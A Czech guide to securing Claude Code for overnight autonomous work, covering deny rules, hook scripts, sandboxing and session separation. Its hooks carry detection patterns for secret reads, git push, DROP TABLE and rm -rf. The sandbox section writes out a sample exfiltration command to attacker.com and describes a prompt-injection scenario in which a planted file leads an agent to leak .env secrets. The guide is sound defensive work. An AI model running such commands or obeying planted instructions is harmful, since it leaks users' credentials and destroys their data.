Jak nakonfigurovat Claude Code, aby vám přes noc nerozbil projekt

Jaké incidenty ukázaly rizika autonomní práce Claude Code?#

Dříve se Claude Code zastavil po každé odpovědi a žádal o povolení ke každému zápisu. Bylo to nepohodlné, ale bezpečné: incident jste nemohli prospat, protože agent čekal na vaše „ano“. V roce 2026 se tento model změnil. Anthropic uvedl auto-mode—samostatný klasifikační agent za vás rozhoduje, zda každou akci povolit. Objevil se příkaz /loop (spouštění zadání v intervalech během relace) i /schedule (plánování dlouhotrvajících úloh ve stylu cron). Relace na pozadí spuštěné pomocí claude --bg spouštějí agenta na pozadí bez terminálu. Autonomní režim podrobně popisuji v návodu „/goal v Claude Code: autonomní režim a Agent View“.

Problém je v tom, že autonomie se rozšířila rychleji než bezpečnostní opatření.

Současně jsou v repozitáři Anthropic otevřené dvě chyby, o kterých byste měli vědět, než do settings.json přidáte permissions.deny:

• Issue #44868 (7. dubna 2026): Claude Code načítá obsah .env pomocí grep -n do přepisu chatu navzdory výslovnému zákazu v CLAUDE.md. Chyba je otevřená.
• Issue #24846 (11. února 2026): pravidla permissions.read.deny pro vzory .env* se neuplatňují—Read přečte .env.local, přestože je vzor zákazu správně nastavený. Issue bylo uzavřeno jako duplicita, nikoli opraveno.

Tyto dvě mezery ukazují nedostatečnost jediné vrstvy settings.json. Následuje model oprávnění + hooky + sandbox + oddělení relací. Každá vrstva může omezit riziko, žádná ale nečiní ostatní úplnými. Citované měření auto-mode nedokazuje zachycení jeho přehlédnutí regex hookem. Pro produkci použijte izolované prostředí OS bez produkčních přihlašovacích údajů a zápisu, síť omezte mimo model a před bezobslužným během hranice otestujte.

Co jsou zelené a červené zóny projektu při autonomní práci Claude Code?#

Nemá smysl budovat stejnou ochranu pro každý projekt. Místní hobby projekt na vašem počítači, který není nasazený mimo něj, představuje úplně jiné riziko než služba zpracovávající skutečné platby a ukládající zákaznická data. Pokud budete všude používat stejnou ochranu, zpomalíte práci v zelené zóně a přesto ponecháte mezery v červené zóně.

Projekt přechází ze zelené do červené zóny, jakmile nastane alespoň jedna ze tří podmínek: objeví se skuteční zákazníci, systémem začnou protékat peníze nebo databáze začne obsahovat osobní údaje lidí. I předtím posuďte nesledované soubory a přihlašovací údaje; bezobslužnou práci držte v izolované obnovitelné kopii bez cenných dat. Poté je třeba ochranu nastavit podle úplného postupu v tomto návodu.

Základní princip: úroveň ochrany se řídí zónou. Fáze vývoje nehraje roli. Hobby projekt na vašem počítači s testovacím účtem Stripe je v zelené zóně. Služba s jedním platícím zákazníkem a registračním formulářem už patří do červené zóny, i když stále vypadá jako „návrh“. Zaměňování těchto zón je u raných projektů častou pastí: „Pořád jsme ve fázi návrhu, ochranu přidáme později,“ a první zákazník pak zaplatí už příští týden.

Jak funguje hierarchie oprávnění v settings.json?#

Anthropic popisuje hierarchii vyhodnocování oprávnění v oficiální dokumentaci: nejprve se kontrolují pravidla deny, potom ask a nakonec allow—vyhrává první odpovídající pravidlo. To znamená, že deny má vždy přednost před allow. Pokud v ~/.claude/settings.json zakážete čtení .env a někdo v projektovém .claude/settings.json nastaví allow, uplatní se váš zákaz, nikoli jeho povolení.

Příklad minimálního bezpečného uživatelského souboru ~/.claude/settings.json:

{
  "permissions": {
    "deny": [
      "Read(./.env)",
      "Read(./.env.*)",
      "Read(**/.env)",
      "Read(**/.env.*)",
      "Read(*.pem)",
      "Read(*.key)",
      "Read(**/credentials*.json)",
      "Read(~/.ssh/**)",
      "Read(~/.aws/**)",
      "Read(~/.gnupg/**)"
    ]
  },
  "disableBypassPermissionsMode": "disable"
}

Co se tu děje? Prvních šest pravidel blokuje čtení tajných souborů v aktuálním adresáři a všech podadresářích. *.pem a *.key jsou klíče SSL/TLS a SSH. credentials*.json je typický název souboru používaný poskytovateli cloudu. Poslední tři cesty označují systémové adresáře obsahující klíče SSH, přihlašovací údaje AWS a klíče GPG.

Klíč disableBypassPermissionsMode: "disable" blokuje příznak --dangerously-skip-permissions (známý také jako režim YOLO). Tím jednou provždy odstraníte jednu skupinu chyb: i když tento příznak omylem přidáte do skriptu nebo aliasu, Claude Code ho odmítne. Nejenže ho odstraní—vrátí chybu „mode disabled by managed settings“.

Od verze 2.1.142 se navíc klíč defaultMode: "auto" ignoruje, pokud je v projektovém nebo místním nastavení. Chrání to před situací „vstoupil jsem do cizího repozitáře a jeho .claude/settings.json má ve výchozím nastavení zapnutý automatický režim“. Anthropic výslovně uvedl, že repozitáře nemohou zapnout auto-mode bez souhlasu uživatele.

Tohle je první linie ochrany. Nemůžete se u ní zastavit, protože má dvě mezery, o kterých se dozvíte v následující části.

Proč permissions.deny nestačí: 2 otevřené issues na GitHubu#

Kdyby permissions.deny fungovalo, mohl by návod skončit v předchozí části. Nefunguje.

Issue #44868 (7. dubna 2026): uživatel výslovně přidal do CLAUDE.md zákaz čtení souborů .env, .dev.vars a dalších souborů obsahujících tajné údaje. Claude místo nástroje Read spustil grep -n SOMETHING .env. Příkaz grep -n vypíše celý odpovídající řádek včetně jeho čísla—a tedy i skutečný token API. Tento řádek vstoupí do tool_result, zobrazí se v přepisu relace a uloží se do historie.

Autor upozorňuje na nenápadný, ale zásadní detail: bezpečnostní reflex modelu se spustí až poté, co byl výstup vytvořen, nikoli před spuštěním příkazu. Jinými slovy, Claude nejprve spustí grep, získá řádek obsahující token a vypíše ho do chatu—teprve potom si uvědomí chybu a „omluví se“. V tu chvíli je token už v historii chatu. Jediným řešením je klíč zneplatnit a vyměnit.

Issue #24846 (11. února 2026): uživatel nastavil permissions.read.deny pomocí seznamu obsahujícího vzor **/.env*. Poté požádal Claude, aby přečetl .env.local. Nástroj Read proběhl bez chyby a vypsal obsah souboru.

Issue bylo uzavřeno jako duplicita, ale nebylo opraveno. V době psaní tohoto návodu (červen 2026) se dá chyba zopakovat.

Závěr: Vrstva 1 v settings.json není zbytečná, příklady ale neměří podíl náhodných čtení, kterým zabrání. Nezabrání však příkazům přes Bash (cat .env, grep API_KEY .env, head .env), chybám vynucování (issue #24846) ani důmyslným řetězcům používajícím git diff nebo git show nad commitem obsahujícím .env. Proto potřebujete druhou vrstvu—hooky.

Jak mohou hooky blokovat rozpoznané nebezpečné akce?#

Hooky pracují na jiné úrovni abstrakce než oprávnění. Oprávnění jsou pravidla, která model zohledňuje při rozhodování, co udělat. Hook funguje jinak: model se rozhodne zavolat nástroj, hook se spustí mezi modelem a systémem, zkontroluje vstup a buď ho povolí, nebo zablokuje. Model se rozhodování hooku neúčastní—je to shellový kód, který napíšete sami.

Anthropic popisuje blokování v oficiální dokumentaci hooků:

Z toho vyplývají dvě věci. Zaprvé správně nastavený blokující hook může odmítnout odpovídající volání. U PreToolUse návratový kód 2 toto volání blokuje; nedokazuje ale rozpoznání každého nebezpečného rovnocenného příkazu. Zadruhé můžete do stderr vložit smysluplnou zprávu, kterou Claude přečte jako chybu a zkusí jiný postup. Hook tedy není jen „plot“; je to „plot s cedulí vysvětlující, proč nemůžete projít“.

Události, které lze zablokovat návratovým kódem 2:

• PreToolUse—zablokuje volání nástroje před spuštěním. Hlavní událost pro obranné hooky.
• PermissionRequest—zamítne oprávnění k akci, o jejíž provedení Claude požádal.
• UserPromptSubmit—zablokuje a odstraní uživatelovo zadání. Hodí se, pokud zadání obsahuje podezřelý text (například injekci zadání v nastraženém e-mailu).
• Stop—zabrání Claudovi ukončit relaci. Lze ho použít jako „smyčku“, která udrží agenta v práci, dokud není splněna podmínka.
• PreCompact—zablokuje automatickou kompakci kontextu. Užitečné, chcete-li zachovat přepis do ručního rozhodnutí.
• WorktreeCreate—odmítne vytvoření worktree. Ochrana před pokusem Claude naklonovat repozitář na neočekávané místo.

Alternativou k návratovému kódu 2 je vrátit JSON s polem hookSpecificOutput.permissionDecision. permissionDecision má čtyři možné hodnoty:

• allow—výslovně povolí akci a obejde standardní tok oprávnění.
• deny—zablokuje akci, u PreToolUse odpovídá návratovému kódu 2.
• ask—předá rozhodnutí uživateli (zobrazí se dialog).
• defer—odloží rozhodnutí na běžnou logiku oprávnění.

Hook tak získává větší kontrolu než samotný návratový kód. Pomocí permissionDecision: "ask" můžete z tichých operací udělat operace vyžadující potvrzení, aniž byste je úplně blokovali. Takto postupuji u npm install <new package> a změn souboru lockfile.

Chcete-li se dozvědět více o fungování hooků a o tom, kterých 31 událostí je v Claude Code aktuálně dostupných, popsal jsem to v samostatném návodu „Hooky v Claude Code: 7 pravidel připravených ke zkopírování“. Dále uvedu konkrétní hooky pro autonomní práci.

Kterých 7 hooků používám pro práci přes noc?#

Tohle je druhá vrstva ochrany, která jistí tu první. Všechny hooky patří do .claude/hooks/, registrují se přes .claude/settings.json a vyžadují nainstalovaný jq.

Hook 1: Zabraňte čtení .env, .pem a credentials.json

Přidává kontroly vybraných cest Read a běžných příkazů Bash čtoucích tajné údaje. Nezachytí každý nástroj ani každý způsob čtení. Soubor: .claude/hooks/block-secret-reads.sh:

#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')

# Read tool with a suspicious path
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Secret file. Use op:// references or env vars."
    }
  }'
  exit 0
fi

# Bash that reads secrets via cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Reading secrets via shell is blocked."
    }
  }'
  exit 0
fi

exit 0

Registrace v .claude/settings.json:

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Read|Bash",
        "hooks": [{
          "type": "command",
          "command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
        }]
      }
    ]
  }
}

Po instalaci spusťte chmod +x .claude/hooks/block-secret-reads.sh. Test: požádejte Claude, aby přečetl .env.local—namísto obsahu souboru dostanete odpověď „Secret file. Use op:// references or env vars.“

Hook 2: Blokujte doslovná git push v nočních relacích

Pro bezobslužnou relaci příklad opatrně blokuje každé rozpoznané doslovné git push včetně pracovních větví. Neodhaduje aktuální větev ani bezpečnost force přepínače. Soubor: .claude/hooks/block-force-push.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
    }
  }'
fi

exit 0

Zaregistrujte jej přes PreToolUse s matcherem Bash. Blokuje příkaz místo parsování přepínačů a větví, takže zachytí git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main i doslovný push v řetězci && nebo ;. Jde o offline příklady shody textu, nikoli příkazy ke spuštění proti serveru.

Stále jde o textovou heuristiku. Git aliasy, shellové funkce, git -C ... push, sestavované názvy, skripty a jiné nástroje ji mohou obejít; není úplným parserem shellu. Pravidla chráněných větví vynucujte na serveru Git, odeberte přihlašovací údaje umožňující obejití a bezobslužně pracujte izolovaně bez produkčního zápisu. Minutí hooku nesmí udělit produkční pravomoc.

Hook 3: Blokujte destruktivní operace SQL

Přímo reaguje na incidenty se smazanými databázemi. Soubor: .claude/hooks/block-destructive-sql.sh:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
    }
  }'
  exit 0
fi

# DELETE FROM without WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
    }
  }'
  exit 0
fi

# UPDATE without WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
    }
  }'
  exit 0
fi

exit 0

Zaregistrujte ho přes PreToolUse s matcher: "Bash". Všimněte si rozdílu: DROP a DELETE bez WHERE jsou úplně blokované, zatímco UPDATE bez WHERE vyvolá ask—někdy může být legitimní (například nastavení příznaku u všech záznamů v rámci migrace), ale vždy vyžaduje ruční potvrzení.

Hook 4: Filtr rm -rf

Základní příklad z dokumentace Anthropic, upravený tak, aby akci zamítl s vysvětlením:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# rm -rf /, ~, $HOME, * without explicit scope
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "deny",
      permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
    }
  }'
fi

exit 0

Hook povoluje rm -rf node_modules, rm -rf .next/cache a další mazání s výslovně určeným rozsahem. Blokuje rm -rf ., rm -rf /, rm -rf ~ a podobné příkazy typu „smaž všechno“.

Hook 5: Vyžadujte potvrzení instalace nových balíčků

Tento hook pomáhá proti útokům na dodavatelský řetězec. Pokud se Claude sám rozhodne přidat novou závislost, zobrazí se dialog:

#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')

# Installing dependencies from a lockfile—allow
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
  exit 0
fi

# Adding new packages
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Adding new dependency. Confirm package name and version."
    }
  }'
fi

exit 0

Hook umožňuje pokračovat v instalacích podle lockfile, zatímco přidání nové závislosti vyžaduje potvrzení.

Hook 6: Chraňte package.json a lockfile

Každá změna manifestu závislostí je signálem, že by ji měl někdo zkontrolovat. Zvlášť přes noc.

#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')

if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
  jq -n '{
    hookSpecificOutput: {
      hookEventName: "PreToolUse",
      permissionDecision: "ask",
      permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
    }
  }'
fi

exit 0

Zaregistrujte ho pomocí PreToolUse a matcheru Write|Edit.

Hook 7: Průběžný auditní záznam všech volání Bash

Když se přes noc něco pokazí, potřebujete úplný záznam, abyste pochopili sled událostí. Zaregistrujte ho v settings.json (hook nemá samostatný skript; o všechno se postará jq):

{
  "hooks": {
    "PreToolUse": [
      {
        "matcher": "Bash|Write|Edit",
        "hooks": [{
          "type": "command",
          "command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
        }]
      }
    ]
  }
}

Soubor .claude/audit.jsonl roste po jednom řádku. Ráno po nočním /loop můžete spustit tail -n 100 .claude/audit.jsonl | jq a zjistit, co agent kdy udělal. To je zásadní pro analýzu incidentu, protože přepis relace může být dlouhý a nepřehledný, zatímco auditní záznam poskytuje čistou časovou osu.

Jak sandbox a izolace worktree chrání dlouhé relace?#

Pokud jsou hooky „plot s cedulí“, sandbox je „plot + příkop + síť proti dronům“. Jde o čtvrtou vrstvu ochrany pro situace, kdy hook akci propustí, ale ani její provedení by nemělo způsobit škodu mimo prostředí.

Ve svém blogovém příspěvku o sandboxingu (20. října 2025) Anthropic uvádí interní měření:

To znamená, že po zapnutí /sandbox se Claude přestane ptát na 84 % akcí, protože tyto akce fyzicky nemohou opustit sandbox. To je užitečné pro rychlost, ale není to hlavní přínos.

Sandbox poskytuje dvě úrovně izolace, z nichž každá má vlastní úlohu:

Izolace souborového systému omezuje čtení a zápis na výslovně povolené adresáře. I když hook přehlédne pokus zapsat do /etc/hosts nebo přečíst ~/.ssh/id_rsa, sandbox systémové volání nepropustí. Jde o ochranu na úrovni operačního systému. Aplikační vrstva ji nemůže obejít.

Izolace sítě povoluje připojení pouze ke schváleným serverům. To je zásadní při útocích na exfiltraci dat. Scénář: injekce zadání v nastraženém souboru oklame Claude, aby přečetl .env (hook to přehlédl, protože ke čtení došlo neobvyklou cestou), a model se pak rozhodne spustit curl -X POST attacker.com -d "$ENV_CONTENT". Bez izolace sítě to funguje. S izolací sítě se curl k attacker.com nedostane, protože tento hostitel není na seznamu.

Spusťte sandbox příkazem /sandbox uvnitř Claude Code. Nakonfigurujte ho v ~/.claude/settings.json:

{
  "sandbox": {
    "filesystem": {
      "allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
      "deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
    },
    "network": {
      "allow": [
        "api.anthropic.com",
        "github.com",
        "registry.npmjs.org",
        "pypi.org"
      ]
    }
  }
}

U dlouhých relací na pozadí spuštěných pomocí claude --bg přidejte k sandboxu izolaci worktree. Jde o nativní mechanismus Claude Code: každá relace na pozadí se automaticky přesune do vlastního .claude/worktrees/<name>/ na samostatné větvi. Paralelní relace si tak při zápisu do stejných souborů nebudou překážet. Izolaci worktree podrobně popisuji v návodu „Agent View a Worktrees: autonomní režim Claude Code“.

Sandbox je součástí zpětnovazební smyčky. Když Claude ví, že jeho akce mají omezení, pracuje pečlivěji a jasněji popisuje mezikroky.

Kde auto-mode v roce 2026 funguje a kde ne?#

V březnu 2026 Anthropic uvedl auto-mode jako „střední cestu mezi ruční kontrolou a absencí bezpečnostních zábran“. Jde o samostatný model Sonnet 4.6, který před spuštěním vyhodnocuje každou akci Claude podle sady kritérií. Anthropic popsal mechanismus na blogu Anthropic Engineering:

Auto-mode má dvě důležitá omezení:

• Pokud se v relaci nashromáždí 3 po sobě jdoucí nebo celkem 20 odmítnutí klasifikátorem, model se zastaví a předá rozhodnutí člověku. Tím se předchází situaci, kdy „Claude zacyklí a zkouší obejít omezení 100 různými formulacemi stejného příkazu“.
• Auto-mode povolí akci, pokud se podobá 93 % typických případů, které by uživatelé stejně schválili. Snižuje to únavu z potvrzování, ale nechrání před atypickými nebezpečnými akcemi.

A teď hlavní číslo, kterému je třeba věnovat pozornost:

Uváděných 17 % je míra falešných negativ v daném hodnocení, nikoli pravděpodobnost každé akce vašeho projektu. Nedokládá zachycení přehlédnutí ukázkovými hooky. V červené zóně potřebuje bezobslužná práce vynucenou izolaci od produkčního zápisu a tajných údajů i chráněné větve na serveru s neobejitelnými přihlašovacími údaji.

Praktický závěr: hooky používejte jako dodatečné kontroly v jednorázovém obnovitelném prostředí. I místní projekt může obsahovat nesledované soubory a přihlašovací údaje neobnovitelné Gitem. V červené zóně musí minutí hooku omezit skutečné řízení přístupu; sada regexů nečiní libovolný shell deterministicky bezpečným.

Proč rozdělit kontexty do tří typů relací?#

Tři typy úloh by nikdy neměly probíhat ve stejné relaci:

Typ 1: práce s osobními údaji. Relace má přístup k produkční databázi, může odesílat e-maily a vidí přihlašovací údaje. NEMÁ přístup k externím dokumentům (e-mailům, PDF, webovým stránkám) a NEMŮŽE odesílat data na libovolné adresy.

Typ 2: zpracování externích dokumentů. Relace může zpracovávat příchozí e-maily, stahovat webové stránky a číst PDF z e-mailů. NEMÁ přístup k databázi obsahující osobní údaje a NEMŮŽE nic odesílat externě bez výslovného potvrzení.

Typ 3: externí publikování. Relace může publikovat na sociálních sítích, odesílat e-mailové kampaně a vytvářet pull requesty. NEMÁ přístup k osobním údajům a NEZPRACOVÁVÁ příchozí obsah.

Proč je oddělovat? Pokud jedna relace dělá všechno, stačí jediná injekce zadání v nastraženém PDF (konkurenční agentura poslala „fakturu“), aby agent v jednom kroku přečetl zákaznickou databázi, našel e-maily zákazníků a poslal je na adresu útočníka. Každá akce v tomto řetězci je legitimní pro svůj typ úlohy. Dohromady však znamenají únik.

V praxi se to řeší pomocí různých adresářů .claude pro různé typy úloh. Na svém počítači mám tři konfigurace: ~/projects/business-ops/.claude/ (typ 1, přístup k databázi, síť zakázána kromě interních API), ~/projects/inbox-parsing/.claude/ (typ 2, veškerá síť zakázána), ~/projects/social-posting/.claude/ (typ 3, síť povolena pro API Telegramu a Slacku). Každý adresář je samostatný projekt pro Claude Code s vlastními oprávněními a hooky.

Kterých 12 bodů kontroluji před spuštěním /loop?#

1. ~/.claude/settings.json s uživatelským deny pro .env*, *.pem, *.key, credentials*.json, ~/.ssh/**, ~/.aws/**. To je základ; bez něj je zbytek zbytečný.

2. disableBypassPermissionsMode: "disable" v ~/.claude/settings.json. Jednou provždy blokuje příznak YOLO.

3. Příklady block-secret-reads.sh jsou otestované na vybraných čteních; skutečné tajné údaje a produkční přihlašovací údaje jsou bezobslužnému prostředí nedostupné.

4. Příklad block-force-push.sh blokuje rozpoznané doslovné pushe bez ohledu na pořadí přepínačů či cíl; chráněné větve a neobejitelné přihlašovací údaje vynucuje server Git.

5. Hook block-destructive-sql.sh pro DROP TABLE, TRUNCATE a DELETE FROM bez WHERE.

6. Hook block-rm-rf.sh pro rm -rf bez výslovného určení rozsahu.

7. Hook ask-on-new-deps.sh pro npm install <new package> (odděleně od npm install bez argumentů).

8. Hook ask-on-lockfile-change.sh pro zápisy do package.json, pnpm-lock.yaml, requirements.txt, pyproject.toml a Cargo.toml.

9. Univerzální záznam audit.jsonl pro všechna volání Bash, Write a Edit. Bez něj není analýza incidentu možná.

10. Všechny dlouhé relace na pozadí běží ve worktree, nikoli na hlavní větvi: claude --bg "task" automaticky vytvoří worktree, ale zkontrolujte, že settings.json neobsahuje worktree.bgIsolation: "none".

11. /sandbox před spuštěním dlouhé autonomní úlohy. Souborový systém je omezen na adresář projektu a /tmp. Síť používá seznam povolených hostitelů api.anthropic.com, github.com a registry.npmjs.org.

12. Ověřovací krok v rámci úlohy: po každé zásadní změně spusťte test runner nebo linter. Pokud selžou, agent nepokračuje, dokud nejsou chyby opraveny.

Poslední bod je pracovní postup, nikoli nastavení nástroje. Dejte Claudovi možnost ověřit vlastní práci. Bez ověřování agent přes noc opakuje „myslím, že jsem to udělal správně, pokračuji dál“ a hromadí chyby až do rána. S ověřováním nepokračuje, dokud kontrola neprojde.

7 anti-vzorů: co NEDĚLAT#

1. --dangerously-skip-permissions na hostitelském počítači s přístupem k produkčnímu prostředí. Browningstreet přišel o produkční i vývojovou databázi po jediném příkazu „uklidit“. Chyba stojí hodiny obnovy a může způsobit ztrátu dat, která v záloze nejsou. Pokud už k incidentu došlo, otevřete „Co dělat, když AI smaže databázi: kontrolní seznam pro obnovu“ a postupujte podle 10 kroků v daném pořadí.

2. Spoléhání pouze na CLAUDE.md v oblasti zabezpečení. Issue #44868 prokázalo, že model nejprve jedná a omlouvá se až potom. Doporučení v textovém souboru neblokuje volání nástroje. Správně nastavený hook může blokovat odpovídající volání, širší hranice vynucují OS, sandbox a řízení přístupu služby. CLAUDE.md je důležité pro kontext projektu—samostatně jsem o něm psal v „Jak správně nakonfigurovat CLAUDE.md“—ale před autonomním agentem vás neochrání.

3. Spoléhání pouze na permissions.deny v settings.json bez doplňujícího hooku. Issue #24846 zůstává otevřené od února 2026. Zákaz pro .env* lze obejít pomocí grep v Bash. Hook může přidat kontroly, tajné údaje ale také musejí být vyloučené z bezobslužného prostředí; regex úplně nenahrazuje řízení přístupu.

4. Považování auto-mode a regex hooků za produkční izolaci. Citovaná míra přehlédnutí platí pro konkrétní hodnocení a pokrytí hooků je neúplné. Odeberte produkční zápisové údaje a ověřte vynucenou hranici místo předpokladu zachycení každé nebezpečné akce.

5. Instalace nového balíčku pomocí npm install bez potvrzení. Útoky na dodavatelský řetězec jsou skutečné. Incidenty Tea-tag v letech 2024–2026 ukázaly, že existují balíčky s překlepovou doménou a tisíci stažení. Potřebujete seznam povolených balíčků.

6. Nezaznamenávání volání Bash. Bez auditního záznamu nepochopíte, co se přes noc stalo. Přepis chatu je dlouhý, není indexovaný podle příkazu a neposkytuje časovou osu. .claude/audit.jsonl řeší oba problémy.

7. Nepoužívání worktree pro relace na pozadí. Paralelní relace v jednom adresáři si navzájem zasahují do práce. Claude Code má worktree.bgIsolation, které je od verze 2.1.143 ve výchozím nastavení zapnuté, ale zkontrolujte svá nastavení.

A to hlavní, čemu žádný hook ani nastavení nedokáže zabránit:

Tato věta není otázkou stylu. Za ochranu produkčního prostředí odpovídá ten, kdo agenta spustil. Claude Code funguje jako rovná břitva: můžete se s ní holit, ale také se s ní můžete říznout. Konfigurace odpovídá na jednu otázku: připravili jste prostředí dostatečně dobře, aby břitva nepoškodila nic, co nemá?

Příprava před incidentem je součástí kontextového inženýrství: předem omezíte, co agent může dělat, a tím mu umožníte dělat to, co chcete.

Další materiály najdete na Ailoot.